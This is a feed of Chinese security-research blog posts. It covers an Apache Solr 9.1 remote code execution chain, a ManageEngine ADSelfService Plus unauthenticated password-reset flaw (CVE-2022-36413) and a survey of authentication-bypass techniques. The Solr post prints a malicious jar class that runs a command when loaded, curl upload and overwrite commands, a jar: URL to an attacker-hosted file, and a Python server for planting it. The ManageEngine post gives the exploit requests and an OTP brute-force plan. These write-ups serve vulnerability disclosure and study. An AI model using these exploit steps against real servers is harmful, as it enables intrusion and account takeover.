Normal view

There are new articles available, click to refresh the page.
Before yesterdayNoah Lab

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

By: Skay
14 April 2023 at 11:16

时间线

2022年12月9日 漏洞提交官方

2023年2月20日 官方拒绝修复

2023年2月22日 提交cnvd

2023年3月24日 官方发布9.2.0 修复漏洞

2023年4月14日 CNVD 审核通过

一、简介

1.Apache Solr概述

建立在Lucene-core之上,Luncene是一个全文检索的工具包,它不是一个完整的引擎,Solr将它打包成了一个完整的引擎服务,并对外开放基于http请求的服务以及各种API,还有一个后台管理界面。所以,它既然是基于Luncene的,所以他的核心功能逻辑就应该和Luncene一样,给它一个Docunment,Solr进行分词以及查找反向索引,然后排序输出。

Solr 的基本前提很简单。您给它很多的信息,然后你可以问它的问题,找到你想要的信息。您在所有信息中提供的内容称为索引或更新。当你问一个问题时,它被称为查询。

在一些大型门户网站、电子商务网站等都需要站内搜索功能,使用传统的数据库查询方式实现搜索无法满足一些高级的搜索需求,比如:搜索速度要快、搜索结果按相关度排序、搜索内容格式不固定等,这里就需要使用全文检索技术实现搜索功能。

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Lucene 是一个全文检索引擎工具包,它是一个 jar 包,不能独立运行,对外提供服务。Apache Solr 中存储的资源是以 Document 为对象进行存储的。NoSQL特性和丰富的文档处理(例如Word和PDF文件)。每个文档由一系列的 Field 构成,每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性,默认情况下这个属性的名字是 id,在 Schema 配置文件中使用:id进行描述。 Solr是一个独立的企业级搜索应用服务器,目前很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。

Solr可以独立运行,打包成一个war。运行在Jetty、Tomcat等这些Servlet容器中,Solr索引的实现方法很简单,用 POST 方法向Solr服务器 发送一个描述

Field 及其内容的XML文档,Solr根据xml文档添加、删除、更新索引。Solr搜索只需要发送HTTP GET 请求,然后对 Solr 返回Xml、Json等格式的查询结果进行解析,组织页面布局。Solr不提供构建UI的功能,Solr提供了一个管理界面,通过管理界面可以查询Solr的配置和运行情况。

中文文档:https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html

2.使用范围及行业分布

  • 业界两个最流行的开源搜索引擎,Solr和ElasticSearch。Solr是Apache下的一个顶级开源项目。不少互联网巨头,如Netflix,eBay,Instagram和Amazon(CloudSearch)均使用Solr。
  • fofa搜索公网资产 一万 app="APACHE-Solr"
  • GitHub Star数量 3.8k

3.重点产品特性

默认全局未授权,多部署于内网,内置zk服务

不可自动升级,需要手动升级修复漏洞

二、环境搭建及调试

获取源码及安装包:

https://dlcdn.apache.org/lucene/solr/8.11.2/solr-8.11.2.tgz

https://dlcdn.apache.org/lucene/solr/8.11.2/solr-8.11.2-src.tgz

8系列通过Ant 构建,不能直接导入idea,需要在目录下提前构建下

ant ivy-bootstrap、ant idea,然后直接导入idea即可

1

9 系列通过Gradle构建,直接导入idea即可,且需要jdk11及以上

编译成功后将源代码导入idea当中,开启solr并设置debug模式

cd \solr\bin
solr.cmd start -e cloudsolr.cmd stop -all
solr.cmd -c -f -a "-xdebug -
Xrunjdwp:transport=dt_socket, server=y, suspend=n, address=10010"-p 8983

漏洞的利用需要开启solrcloud
idea配置remote debug

2

三、漏洞前置知识

(1) zookeeper

zk是分布式系统中的一项协调服务。solr cloud启动默认启动内置zk服务,solr将zk用于三个关键操作:

1、集中化配置存储和分发

2、检测和提醒集群的状态改变

3、确定分片代表

**(2)**solrconfig.xml

此文件包含与请求处理和响应格式相关的定义和特定于核心的配置,以及索引,配置,管理内存和进行提交。内核配置文件,这个是影响Solr本身参数最多的配置文件。索引数据的存放位置,更新,删除,查询的一些规则配置

这个文件可以说,在功能上包含了一个core处理的全部配置信息

  • 指定Luncene版本
  • core的data目录 存放当前core的idnex索引文件和tlog事务日志文件
  • 索引存储工厂 配置了一些存储时的参数 线程等
  • 编解码方式
  • 配置索引属性,主要与Luncene创建索引的一些参数,文档字段最大长度、生成索引时INdexWriter可使用最大线程数、Luncene是否允许文件整合、buffer大小、指定Lucene使用哪个LockFactory等
  • 更新处理器 更新增加Document时的update对应什么处理动作在这里配置,在这里也可以自定义更新处理器
  • 以及查询的相关配置
  • 请求转发器 自定义增加在这里配置
  • 请求解析器 配置solr的请求解析行为
  • 请求处理器 solr通过requestHandler提供webservice功能,通过http请求对索引进行访问 可以自定义增加,在这里配置

(3) Solr配置集 configset

用于实现多个不同内核之间的配置共享

(4).关键类

SolrResourceLoader:关于SolrResourceLoader,通过类名来看是Solr的资源加载类,负责加载各种资源到运行环境中,通过ClassLoader以及文件读取加载类、文件资源等,也支持jndi的方式加载,以及一些url以及文件路径处理的方法。

SolrConfig:solrconfig.xml的对应实体类

https://xz.aliyun.com/t/9248

四、The way of RCE

SolrResourceLoader加载Evil Jar包执行static 代码块中恶意代码。

漏洞利用中这两句代码完成了恶意jar包的加载

loader.addToClassLoader(urls);
loader.reloadLuceneSPI();

org.apache.solr.core.SolrResourceLoader#addToClassLoader
首先获取到的classloader为URLClassLoader,URLClassLoader为后面加载路径时提供了更多的操作空间

3

needToReloadLuceneSPI,是否通过SPI机制加载默认为true,也就是说是通过Java SPI机制进行加载。

org.apache.solr.core.SolrResourceLoader#reloadLuceneSPI

// Codecs:
PostingsFormat.reloadPostingsFormats(this.classLoader);
DocValuesFormat.reloadDocValuesFormats(this.classLoader);
Codec.reloadCodecs(this.classLoader);
// Analysis:
CharFilterFactory.reloadCharFilters(this.classLoader);
TokenFilterFactory.reloadTokenFilters(this.classLoader);
TokenizerFactory.reloadTokenizers(this.classLoader);

SPI 原理
SPI 服务的加载可以分为两部分:

  • 类全称限定名的获取,即知道哪些类是服务提供者。
  • 类加载,把获取到的类加载到内存中,涉及上下文类加载器。
    SPI机制在指定配置的情况下,ServiceLoader.load 根据传入的接口类,遍历 META-INF/services 目录下的以该类命名的文件中的所有类,然再用类加载器加载这些服务。

4

获取到 SPI 服务实现类的文件之后,就可以使用类加载器将对应的类加载到内存中,也就会触发恶意类中的static代码块。

了解到上述后,构造恶意类需指定META-INF/services下类,以及继承org.apache.lucene.codecs.PostingsFormat接口,构造如下

5

/**
 * @auther Skay
 * @date 2022/12/5 10:42
 * @description
 */
public class Calc extends org.apache.lucene.codecs.PostingsFormat{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Calc() {
        super("Exploit");
        try {
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public FieldsConsumer fieldsConsumer(SegmentWriteState segmentWriteState) throws IOException {
        return null;
    }

    @Override
    public FieldsProducer fieldsProducer(SegmentReadState segmentReadState) throws IOException {
        return null;
    }

    public static void main(String[] args) {

    }
}

五、How to upload evil-Jar?

这里需要引入Apache Solr的两个已知功能点,

1.ConfigSet配置集上传功能

官方文档提供了详细的API调用规范 https://solr.apache.org/guide/8_8/configsets-api.html

实际操作将solr example项目中_default 打zip即可

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sdconfigset.zip "http://192.168.220.16:8983/solr/admin/configs?action=UPLOAD&name=lib" -x "http://127.0.0.1:8888"

此接口的核心处理类为org.apache.solr.handler.admin.ConfigSetsHandler,configset.upload.enabled开关为默认开启,所以默认可以上传配置集文件。
配置集文件上传ZK中,首先判断了配置集是否已经存在,是否为单文件上传,filePath参数是否指定,文件是否覆盖等,紧接着进行文件解压(但是这里并无文件落地操作,都存储在ZK中)。

具体代码逻辑如下,关键位置做了一些简单的注释org.apache.solr.handler.admin.ConfigSetsHandler#handleConfigUploadRequest

private void handleConfigUploadRequest(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception {
  if (!"true".equals(System.getProperty("configset.upload.enabled", "true"))) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
        "Configset upload feature is disabled. To enable this, start Solr with '-Dconfigset.upload.enabled=true'.");
  }

// 获取上传的配置集文件名
  String configSetName = req.getParams().get(NAME);
  if (StringUtils.isBlank(configSetName)) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
        "The configuration name should be provided in the \"name\" parameter");
  }
// 此处开始配置集上传逻辑
  SolrZkClient zkClient = coreContainer.getZkController().getZkClient();
  String configPathInZk = ZkConfigManager.CONFIGS_ZKNODE + "/" + configSetName;
//判断ZK中是否已经存在
  boolean overwritesExisting = zkClient.exists(configPathInZk, true);

  boolean requestIsTrusted = isTrusted(req, coreContainer.getAuthenticationPlugin());

  // 获取上传一些参数
  String singleFilePath = req.getParams().get(ConfigSetParams.FILE_PATH, "");
  boolean allowOverwrite = req.getParams().getBool(ConfigSetParams.OVERWRITE, false);
  boolean cleanup = req.getParams().getBool(ConfigSetParams.CLEANUP, false);

  Iterator<ContentStream> contentStreamsIterator = req.getContentStreams().iterator();

  if (!contentStreamsIterator.hasNext()) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
            "No stream found for the config data to be uploaded");
  }
// 获取上传文件流
  InputStream inputStream = contentStreamsIterator.next().getStream();

  // 是否为单文件上传
  if (!singleFilePath.isEmpty()) {
    String fixedSingleFilePath = singleFilePath;
    if (fixedSingleFilePath.charAt(0) == '/') {
      fixedSingleFilePath = fixedSingleFilePath.substring(1);
    }
    if (fixedSingleFilePath.isEmpty()) {
      throw new SolrException(ErrorCode.BAD_REQUEST, "The file path provided for upload, '" + singleFilePath + "', is not valid.");
    } else if (cleanup) {
      // Cleanup is not allowed while using singleFilePath upload
      throw new SolrException(ErrorCode.BAD_REQUEST, "ConfigSet uploads do not allow cleanup=true when file path is used.");
    } else {
      try {
        // Create a node for the configuration in zookeeper
        // For creating the baseZnode, the cleanup parameter is only allowed to be true when singleFilePath is not passed.
        createBaseZnode(zkClient, overwritesExisting, requestIsTrusted, configPathInZk);
        String filePathInZk = configPathInZk + "/" + fixedSingleFilePath;
        zkClient.makePath(filePathInZk, IOUtils.toByteArray(inputStream), CreateMode.PERSISTENT, null, !allowOverwrite, true);
      } catch(KeeperException.NodeExistsException nodeExistsException) {
        throw new SolrException(ErrorCode.BAD_REQUEST,
                "The path " + singleFilePath + " for configSet " + configSetName + " already exists. In order to overwrite, provide overwrite=true or use an HTTP PUT with the V2 API.");
      }
    }
    return;
  }
  
// 单文件上传允许文件覆盖
  if (overwritesExisting && !allowOverwrite) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
            "The configuration " + configSetName + " already exists in zookeeper");
  }

  Set<String> filesToDelete;
  if (overwritesExisting && cleanup) {
    filesToDelete = getAllConfigsetFiles(zkClient, configPathInZk);
  } else {
    filesToDelete = Collections.emptySet();
  }

  // zk中创建节点
  // For creating the baseZnode, the cleanup parameter is only allowed to be true when singleFilePath is not passed.
  createBaseZnode(zkClient, overwritesExisting, requestIsTrusted, configPathInZk);

//获取zip文件流 在zk中存储
  ZipInputStream zis = new ZipInputStream(inputStream, StandardCharsets.UTF_8);
  ZipEntry zipEntry = null;
  boolean hasEntry = false;
  while ((zipEntry = zis.getNextEntry()) != null) {
    hasEntry = true;
    String filePathInZk = configPathInZk + "/" + zipEntry.getName();
    if (filePathInZk.endsWith("/")) {
      filesToDelete.remove(filePathInZk.substring(0, filePathInZk.length() -1));
    } else {
      filesToDelete.remove(filePathInZk);
    }
    if (zipEntry.isDirectory()) {
      zkClient.makePath(filePathInZk, false,  true);
    } else {
      createZkNodeIfNotExistsAndSetData(zkClient, filePathInZk,
          IOUtils.toByteArray(zis));
    }
  }
  zis.close();
  if (!hasEntry) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
            "Either empty zipped data, or non-zipped data was uploaded. In order to upload a configSet, you must zip a non-empty directory to upload.");
  }
  deleteUnusedFiles(zkClient, filesToDelete);

  // If the request is doing a full trusted overwrite of an untrusted configSet (overwrite=true, cleanup=true), then trust the configSet.
  if (cleanup && requestIsTrusted && overwritesExisting && !isCurrentlyTrusted(zkClient, configPathInZk)) {
    byte[] baseZnodeData =  ("{\"trusted\": true}").getBytes(StandardCharsets.UTF_8);
    zkClient.setData(configPathInZk, baseZnodeData, true);
  }
}

2.sechema-designer 功能

此功能为Solr 8.10及以后新引入的功能点,Schema Designer 屏幕允许用户使用示例数据以交互方式设计新模式。

6

它的技术细节我们可以不用去考虑,通过阅读官方文档,新的sechema的创建可以基于我们上传的Configset来创建

7

其实我们上传的ConfigSet是用来创建Collettion和Core的,这里之前出过漏洞,CVE-2020-13957,也是配置集上传导致的RCE。

这里复习一下solrconfig.xml 文件,此文件包含与请求处理和响应格式相关的定义和特定于核心的配置,以及索引,配置,管理内存和进行提交。内核配置文件,这个是影响Solr本身参数最多的配置文件。索引数据的存放位置,更新,删除,查询的一些规则配置 。

所以现在我们可以上传一个可控的solrconfig.xml 文件,可操作的范围就很多了。当我们上传了配置集文件,之前的新建Collections调用接口已被修复,将目光转向Schema Designer,新建一个Sehema

8

这里会出现报错,需要跟一下代码逻辑

9

首先新建一个secheam会加载solrconfig.xml,org.apache.solr.handler.designer.SchemaDesignerConfigSetHelper#loadSolrConfig,也就是去zk中去寻找solrconfig.xml 文件

10

在初始化SolrConfig(SolrConfig.xml 的对应类)过程中,会通过ZKloader加载配置文件

11

org.apache.solr.cloud.ZkSolrResourceLoader#openResource,查找文件,很显然这里是没有在ZK中找到solrconfig.xml 文件

12

沉思,配置集合上传路径新建的zk查询路径为/configs/* ,而新建designer-schema 在查询路径时会加上.designer*。

But,在配置集上传时我们可以指定filePath,且允许单文件上传以及文件覆盖选项,只需要单独上传下solrconfig.xml即可。

3.覆盖恶意solrconfig.xml

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sdconfigset/solrconfig.xml "http://192.168.220.16:8983/solr/admin/configs?action=UPLOAD&name=lib&filePath=solrconfig.xml&overwrite=true"

我们按照模板上传了一个默认的solrconfig.xml 文件,指定filePath,指定overwrite为true
再来重试一下新建schema,仍旧报错

13

但是这个报错我们可以去忽略掉,因为可以看到这里solrconfig.xml 已经成功找到了,关键的SolrConfig类已经成功的初始化了。

14

4.SolrConfig初始化

还是在org.apache.solr.core.SolrConfig#SolrConfig 构造函数中,存在此漏洞关键点initLibs 方法org.apache.solr.core.SolrConfig#initLibs,它会读取SolrConfig.xml 中的标签中的值,去动态加载符合正则的文件当作jar包加载入jvm当中。

private void initLibs(SolrResourceLoader loader, boolean isConfigsetTrusted) {
  // TODO Want to remove SolrResourceLoader.getInstancePath; it can be on a Standalone subclass.
  //  For Zk subclass, it's needed for the time being as well.  We could remove that one if we remove two things
  //  in SolrCloud: (1) instancePath/lib  and (2) solrconfig lib directives with relative paths.  Can wait till 9.0.
  Path instancePath = loader.getInstancePath();
  List<URL> urls = new ArrayList<>();

  Path libPath = instancePath.resolve("lib");
  if (Files.exists(libPath)) {
    try {
      urls.addAll(SolrResourceLoader.getURLs(libPath));
    } catch (IOException e) {
      log.warn("Couldn't add files from {} to classpath: {}", libPath, e);
    }
  }
  List<ConfigNode> nodes = root.getAll("lib");
  if (nodes != null && nodes.size() > 0) {
    if (!isConfigsetTrusted) {
      throw new SolrException(ErrorCode.UNAUTHORIZED,
        "The configset for this collection was uploaded without any authentication in place,"
          + " and use of <lib> is not available for collections with untrusted configsets. To use this component, re-upload the configset"
          + " after enabling authentication and authorization.");
    }

    for (int i = 0; i < nodes.size(); i++) {
      ConfigNode node = nodes.get(i);
      String baseDir = node.attr("dir");
      String path = node.attr(PATH);
      if (null != baseDir) {
        // :TODO: add support for a simpler 'glob' mutually exclusive of regex
        Path dir = instancePath.resolve(baseDir);
        String regex = node.attr("regex");
        try {
          if (regex == null)
            urls.addAll(SolrResourceLoader.getURLs(dir));
          else
            urls.addAll(SolrResourceLoader.getFilteredURLs(dir, regex));
        } catch (IOException e) {
          log.warn("Couldn't add files from {} filtered by {} to classpath: {}", dir, regex, e);
        }
      } else if (null != path) {
        final Path dir = instancePath.resolve(path);
        try {
          urls.add(dir.toUri().toURL());
        } catch (MalformedURLException e) {
          log.warn("Couldn't add file {} to classpath: {}", dir, e);
        }
      } else {
        throw new RuntimeException("lib: missing mandatory attributes: 'dir' or 'path'");
      }
    }
  }

  if (!urls.isEmpty()) {
    loader.addToClassLoader(urls);
    loader.reloadLuceneSPI();
  }
}

所以构造恶意solrconfig.xml 添加lib标签即可,不同操作系统的触发需要配置不同的lib标签

Windows:

上面说到,使用的classloader继承于URLClassLoader,所以Windows系统可以使用UNC路径来进行文件的加载 。可以省略注入临时文件步骤

15

16

Linux:SSRF Jar协议 注入临时文件

这里也是官方提供的一个正常功能接口,当requestDispatcher.requestParsers.enableRemoteStreaming参数远程设置为true后,可实现http协议ssrf,netdoc协议目录遍历,file协议读取任意文件,jar协议注入tmp文件

注:需出网

 curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.220.16:8983/solr/gettingstarted_shard1_replica_n1/config -H 'Content-type:application/json'
POST /solr/gettingstarted_shard2_replica_n1/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.220.16:8983
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 196
Content-Type: multipart/form-data; boundary=------------------------5897997e44b07bf9
Connection: close

--------------------------5897997e44b07bf9
Content-Disposition: form-data; name="stream.url"

jar:http://192.168.220.1:7878/calc.jar?!/Calc.class
--------------------------5897997e44b07bf9--

服务端:这里攻击期间服务端需要一直不给返回包,否则tmp临时文件注入失败

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = '0.0.0.0' 
listen_port = 7777 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'\r\n\r\n' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('\r\nClient req:\r\n',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OK\r\n'''
                '''Content-Type: application/java-archive\r\n\r\n''')
                self.request.sendall(headers.encode('ascii'))
                self.request.sendall(contents[])
                time.sleep(300000)
                print(30)
                self.request.sendall(contents[])

            except Exception as e:
                print ("get error at:"+str(e))



                
if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

六、漏洞演示

17

18

七、测试版本

8 系列最新版本 8.11

9 系列最新版本9.1

八、参考文章

https://xz.aliyun.com/t/9248

https://solr.apache.org/guide/8_10/schema-designer.html

https://solr.apache.org/guide/solr/latest/configuration-guide/configsets-api.html

CVE-2022-36413 Unauthorized Reset Password of Zoho ManageEngine ADSelfService Plus

By: Skay
10 March 2023 at 15:12

一、组件概述

1.关键词

AD、云应用、单点登录

2.概述

ZOHO ManageEngine ADSelfService Plus是美国卓豪(ZOHO)公司的针对 Active Directory 和云应用程序的集成式自助密码管理和单点登录解决方案。允许最终用户执行密码重置,帐户解锁和配置文件信息更新等任务,而不依赖于帮助台。ADSelfService Plus提供密码自助重置/解锁,密码到期提醒,自助服务目录更新程序,多平台密码同步器以及云应用程序的单点登录。

3.使用范围及行业分布

大中小型企业,内部使用windows域管理

二、环境搭建、动态调试

1.环境搭建

各版本下载地址,下载exe一键安装即可

https://archives.manageengine.com/self-service-password

安装后默认用户密码admin、admin,访问8888 端口

2.动态调试

修改conf/wrapper.conf 文件,添加JDWP调试参数

成功debug

组件web服务由Tomcat启动,Tomcat版本xxx,启动脚本为bin/runAsAdmin.bat,主配置文件\conf\wrapper.conf,配置了各项启动参数,最终完全启动参数如下

"..\jre\bin\java" -Dcatalina.home=.. -Dserver.home=.. -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=n -Duser.home=../logs -Dlog.dir=../logs -Ddb.home=../pgsql -Dcheck.tomcatport="true" -Dproduct.home=.. -DHTTP_PORT=8888 -DSSL_PORT=9251 -Dfile.encoding=UTF-8 -Djava.io.tmpdir=../temp -XX:OnOutOfMemoryError="SetMaxMemory.bat" -Dhaltjvm.on.dbcrash="true" -Dorg.apache.catalina.SESSION_COOKIE_NAME=JSESSIONIDADSSP -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -XX:-CreateMinidumpOnCrash -Dmail.smtp.timeout=30000 -Dorg.apache.catalina.authenticator.Constants.SSO_SESSION_COOKIE_NAME=JSESSIONIDADSSPSSO -Xms50m -Xmx256m -Djava.library.path="../lib/native;../jre/lib" -classpath "略" -Dwrapper.key="PIskDhkG89EFqv0f0ijb69bgHwHC9ybE" -Dwrapper.port=32000 -Dwrapper.jvm.port.min=31000 -Dwrapper.jvm.port.max=31999 -Dwrapper.pid=2884 -Dwrapper.version="3.5.35-pro" -Dwrapper.native_library="wrapper" -Dwrapper.arch="x86" -Dwrapper.cpu.timeout="10" -Dwrapper.jvmid=1 -Dwrapper.lang.domain="wrapper" -Dwrapper.lang.folder="../lang" org.tanukisoftware.wrapper.WrapperSimpleApp com.adventnet.start.ProductTrayIcon conf/TrayIconInfo.xml StartADSM

启动入口方法为com.adventnet.start.ProductTrayIcon#main,启动过程这里不展开详细分析

路由

入手点为web.xml ,梳理后,可以将路由做大致如下分类

/RestAPI/ => org.apache.struts.action.ActionServlet

/api/json/ => com.manageengine.ads.fw.api.JSONAPIServlet

/ServletAPI/* /RestAPI/WC/Clustering/* /RestAPI/Clustering/* /m/mLoginAction

/m/mSelfService /m/mMFA => com.manageengine.ads.fw.common.api.ServletAPI

以及在web.xml 中单独配置的一些sevlet

身份校验

这里针对此漏洞着重对RestAPI展开分析

web.xml 中对/RestAPI/WC/* 路由做了身份校验,其它路由未进行配置。

关于RestAPI相关的校验在ADSFilter 全局filter中做了操作,判断了是否为RestAPI接口,如果是,将进入com.manageengine.ads.fw.api.RestAPIFilter#doAction,进入不同的校验逻辑。

这里的身份校验,

RestAPI的重点校验逻辑在RestAPIFilter中,而更加具体的校验存在数据库中

select * from ADSProductAPIs

大概分为这几类:需要session,需要HANDSHAKE_KEY,无需身份校验。

其它安全机制

security.xml

这里列出了每个API的参数(类型,长度,正则),请求方法,是否需要csrf等

四、CVE-2022-36413

Zoho ManageEngine ADSelfService Plus支持第三方登录方式,前提条件需要后台配置身份校验数据库

http://192.168.33.33:8888/webclient/index.html?#/configuration/selfservice/idm-applications

身份验证绕过部分也还是利用了RestSAPI,我们知道RestAPI的身份校验逻辑是ADSFilter 全局filter中做了操作,判断了是否为RestAPI接口,如果是,将进入

com.manageengine.ads.fw.api.RestAPIFilter#doAction做具体的权限验证,

这里判断接口是否需要权限认证存储在PostgreSQL中,

select * from ADSProductAPIs

很幸运的,我们找到了三个未授权接口来完成这个任意密码重置

Step 1:PM_INITIAILIZE_AGENT

POST /RestAPI/PMAgent/****** HTTP/1.1
Host: 192.168.33.133:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Time:1656925239
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.33.133:8888/webclient/index.html?
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 195
 
something

这里的一些参数需要特殊构造,首先是时间戳,这个比较好解决

然后是machineName,如果在当前域,容易得到 PS:无需登录即可获取域名

opt参数,这个参数是一个六位数字,容易暴力破解,此参数校验逻辑如下com.manageengine.adssp.server.api.authorization.PasswordSyncAgentAPIAuthorizer#verifyAgent if ((new Date()).getTime() / 1000L - requsetTime < 300L && requsetTime - (new Date()).getTime() / 1000L < 300L)

我们有五分钟的时间来使用爆破

com.adventnet.iam.security.DoSController#controlDoS防御暴力破解是在这里完成的,

时间戳不变,每个ip地址可以发送1000个请求 100000/1000 = 100

综上所述,我们可以在可接受的时间内获取otp参数,而且使用像亚马逊或谷歌这样的云服务提供商,那实际上很容易。执行一百万个代码的完整攻击将花费大约 150 美元

这里展示了真实攻击的案例:https://thezerohack.com/hack-any-instagram

成功获取加密码加解密key

Step 2:PM_PASSWORD_SYNC

POST /RestAPI/PMAgent/****** HTTP/1.1
Host: 192.168.33.33:8888
Time:1657012207
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/2010101 Firefox/101.0
Accept: application/json, text/javascript, */*; q=0.01
REMOTE_USER_IP:127.0.0.1
ZSEC_PROXY_SERVER_NAME:aaa
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
X-Forwarded-For:127.0.0.1
Referer: http://192.168.33.33:8888/webclient/index.html?
Content-Type: application/x-www-form-urlencoded
Content-Length: 300
 
otp=294608&operation=passwordSync&username=254,147,58,204,126,202,25,240,150,20,124,148,236,167,85,25,16&machineName=TEST-DC-01.test.com&password=254,147,58,204,126,202,25,240,150,20,124,148,236,167,85,25,16&time=165512621862411&PRODUCT_NAME=nnn&domainName=test.com&machineFQDName=TEST-DC-01.test.com

重置用户名和密码,我们可以通过PM_INITIALIZE_AGENT操作,但是用户名密码需要加密下

程序通过动态加载动态链接库实现的AES加密,解密需要做一些处理,通过分析ManageEngineADSFramework.dll,本地构造出加密后的用户名密码

成功修改用户名密码

五、参考链接

https://www.manageengine.com/products/self-service-password/advisory/CVE-2022-36413.html

Identity Security Authentication Vulnerability

By: Skay
18 November 2021 at 13:48
Identity Security Authentication Vulnerability

拿到一个系统大多很多情况下只有一个登录入口,如果想进一步得到较为高危的漏洞,只能去寻找权限校验相关的漏洞,再结合后台洞,最终得到一个较为满意的漏洞。

这里列出一些较为常见的安全认证配置:

  • Spring Security
  • Apache Shiro
  • 服务器本身(Tomcat、Nginx、Apache)401 认证
  • Tomcat 安全认证(结合web.xml) 无需代码实现
  • JSON Web Token

以上只是简单列出了一些笔者见过常见的安全认证配置组件。不同的鉴权组件存在异同的审计思路。

一、寻找未授权

这是笔者第首先会入手去看的点,毕竟如果能直接从未授权的点进入,就没必要硬刚鉴权逻辑了。

1.一些第三方组件大概率为未授权应用

druid、webservice、swagger等内置于程序中的应用大多被开发者设计为无需权限校验接口。

Identity Security Authentication Vulnerability

第三方组件本身又存在历史漏洞,且以jar包的形式内置于应用中,低版本的情况很常见。

利用druid的未授权获取了管理员session

Identity Security Authentication Vulnerability

2.安全认证框架配置中存在的未授权接口

出于某种功能需求,开发者会讲一些功能接口配置无需权限

web.xml

细心查看配置文件中各个Filter、Servlet、Listener ,可能有意想不到的收获

Identity Security Authentication Vulnerability

spring-mvc.xml

这里是以拦截器的方式对外开放了未授权请求处理

Identity Security Authentication Vulnerability

tomcat 安全配置

Identity Security Authentication Vulnerability

配置类

Apache Shiro、Spring Security等支持以@Configuare注解方式配置权限认证,只要按照配置去寻找,当然以上框架也支持配置文件方式配置,寻找思路一样

Identity Security Authentication Vulnerability

3.未授权访问接口配合ssrf获取localhost本身需鉴权服务

一些多服务组件中,存在服务之间的相互调用,服务之间的相互调用或许不需要身份校验,或者已经配置了静态的身份凭证,又或者通过访问者IP是否为127.0.0.1来进行鉴权。这时我们需要一个SSRF漏洞即可绕过权限验证。

很经典的为Apache Module mod_proxy 场景绕过:SSRF CVE-2021-4043.

二、安全认证框架本身存在鉴权漏洞

1.Apache Shiro

Shiro相关的权限绕过漏洞,我觉得可以归类到下面的路径归一化的问题上

2.Spring Security

某些配置下,存在权限绕过,当配置文件放行了/**/.js 时

Identity Security Authentication Vulnerability

Identity Security Authentication Vulnerability

3.JWT 存在的安全风险

  • 敏感信息泄露
  • 未校验签名
  • 签名算法可被修改为none
  • 签名密钥爆破
  • 修改非对称密码算法为对称密码算法
  • 伪造密钥(CVE-2018-0114)

jwt测试工具:https://github.com/ticarpi/jwt_tool

三、静态资源访问

静态资源css、js等文件访问往往不需要权限,开发者可能讲鉴权逻辑放在Filter里,当我们在原有路由基础上添加.js 后缀时,即可绕过验证

Identity Security Authentication Vulnerability

这里可能会有一个问题,添加了js后缀后是否还能正常匹配到处理类呢?在spring应用里是可以的,默认配置下的spirng configurePathMatch支持添加后缀匹配路由,如果想开启后缀匹配模式,需要手动重写configurePathMatch方法

Identity Security Authentication Vulnerability

四、路径归一化问题

1.简单定义

两套组件或应用对同一个 URI 解析,或者说处理的不一致,导致路径归一化问题的产生。

orange 的 breaking parser logic 在 2018 黑帽大会上的演讲议题,后续许多路径归一化的安全问题,都是延伸自他的 PPT

2.Shiro 权限绕过漏洞

一个很经典的路径归一化问题,导致 权限的绕过,比如Shiro CVE-2020-1957

针对用户访问的资源地址,也就是 URI 地址,shiro 的解析和 spring 的解析不一致,shiro 的 Ant 中的*通配符匹配是不能匹配这个 URI 的/test/admin/page/。shiro 认为它是一个路径,所以绕过了/test/admin/*这个 ACL。而 spring 认为/test/admin/page 和/test/admin/page/是一样的,它们能在 spring中获取到同样的资源。

3.CVE-2021-21982 VMware CarbonBlack Workstation

算是一个老1day了,组件本身身份验证通过Spring Security + JWT来实现。且存在两套url的处理组件:Envoy 以及 Springboot。

PS:Envoy 是专为大型现代 SOA(面向服务架构)架构设计的 L7 代理和通信总线。

通过diff可以定位到漏洞点,一个本地获取token的接口

Identity Security Authentication Vulnerability

但是我们通过外网直接访问无法获取到token

Identity Security Authentication Vulnerability

简单了解一下组建的基本架构

Identity Security Authentication Vulnerability

抓一下envoy 与本机服务的通信 rr yyds

./tcpdump -i lo -nn -s0 -w lo1.cap -v

